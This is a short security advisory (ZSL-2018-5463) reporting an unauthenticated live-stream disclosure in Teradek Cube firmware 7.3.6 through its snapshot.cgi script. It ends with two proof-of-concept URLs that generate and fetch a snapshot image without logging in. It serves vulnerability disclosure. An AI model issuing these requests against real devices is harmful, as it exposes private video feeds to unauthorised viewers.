Teradek Cube 7.3.6 (snapshot.cgi) Stream Disclosure

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Teradek Cube 7.3.6 (snapshot.cgi) Stream Disclosure  
  
  
Vendor: Teradek, LLC  
Product web page: https://www.teradek.com  
Affected version: Firmware Version: 7.3.6 (build 26850)  
Hardware Version: 1.5  
Teradek Firmware Version 7.3.15  
  
  
Summary: Cube packs world-class video quality into a rugged, portable  
chassis for quick IP video deployments at any location. Each encoder  
and decoder includes HDMI and 3G-SDI I/O, Ethernet / WiFI connectivity,  
and full duplex IFB.  
  
Desc: Cube suffers from an unauthenticated and unauthorized live stream  
disclosure when snapshot.cgi script is called.  
  
Tested on: lighttpd/1.4.31  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2018-5463  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5463.php  
  
  
02.03.2018  
  
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http://127.0.0.1:8089/cgi-bin/snapshot.cgi <-- Generate new and view (redirects to /snapshot.jpg)  
http://127.0.0.1:8089/snapshot.jpg <-- View stored  
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